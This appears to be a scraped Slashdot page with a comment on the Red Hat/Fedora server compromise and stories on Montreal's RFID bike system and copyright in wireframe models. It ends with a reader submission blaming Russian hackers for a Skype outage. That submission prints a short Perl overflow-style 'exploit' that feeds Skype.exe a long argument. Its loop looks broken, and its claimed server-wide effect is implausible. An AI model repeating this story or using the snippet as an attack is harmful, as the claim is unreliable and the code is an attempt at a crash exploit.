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Comment Re:CentOS? (Score 1) 278

by hav0x on Friday August 22, 2008 @02:52PM (#24710027) Attached to: Red Hat, Fedora Servers Compromised

Also the first thing that I thought.

Have a couple(?) servers running centos in the place I started working recently.
Then again those things, for what I've seen (only been there a couple of weeks), haven't been updated in ages, so I kinda dismissed it immediatly.
Yay for not updating production boxes! :D

Interesting how a thing like this affects a whole ecosystem.

Montreal's Public Bikes To Use Web, RFID, Solar 146

Posted by kdawson on Sunday June 22, 2008 @02:52AM from the all-the-green-words dept.

Ian Lamont writes "Montreal is preparing to launch a Web- and RFID-enabled public bike system that allows residents and visitors to rent bicycles at special depots scattered throughout the city. Using a Web site, riders can check out a real-time inventory of available bicycles at the depot locations. At the depots, a solar-powered base station will process credit cards or member cards. The bike docks use RFID, and the system is supposedly easy to install and maintain. A pilot program will launch in September with four bike depots."

Digital Models Not Subject To Copyright 131

Posted by kdawson on Saturday June 21, 2008 @08:41PM from the but-this-is-a-supermodel dept.

MonsterMagnet writes "The US Court of Appeals for the Tenth Circuit has affirmed (PDF) a ruling that a plain, unadorned wireframe model of a Toyota vehicle is not a creative expression protected under copyright law. The court analogized the wire-frame models to photographs: the owner of an object does not have a copyright in all images of the object, but a photographer may have a limited copyright over a particular image based on artistic choices such as costumery, lighting, posing, etc. Thus, the modelers could only copyright any 'incremental contribution' they made to Toyota's vehicles; in the case of plain models, there was nothing new to protect. This could be a two-edged sword — companies that produce goods may not be able to stop modelers from imaging those products, but modelers may not be able to prevent others from copying their work."

Submission + - Skype crash has been caused by Russian hackers (xakep.ru) 8

Submitted by on Friday August 17, 2007 @09:21PM

An anonymous reader writes: Yesterday's Skype worldwide crash has been caused by Russian hackers, as per www.xakep.ru forum info (http://www.xakep.ru/post/39746/default.asp). They have found a local buffer overflow vulnerability caused by sending a long string to the Skype authorisation server. Within several hours those guys managed to take offline all Skype servers and prevent users from logging in. Here is exploit's code: [code]#!/usr/bin/perl # Simle Code by Maranax Porex ;D # Ya Skaypeg!! for ($i=256; $i>xCCCCC; $i=$i+256) { $eot='AAAA' x $i; call_sp(); } exit; sub call_sp() { $str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\""; system("$str"); }[/code]

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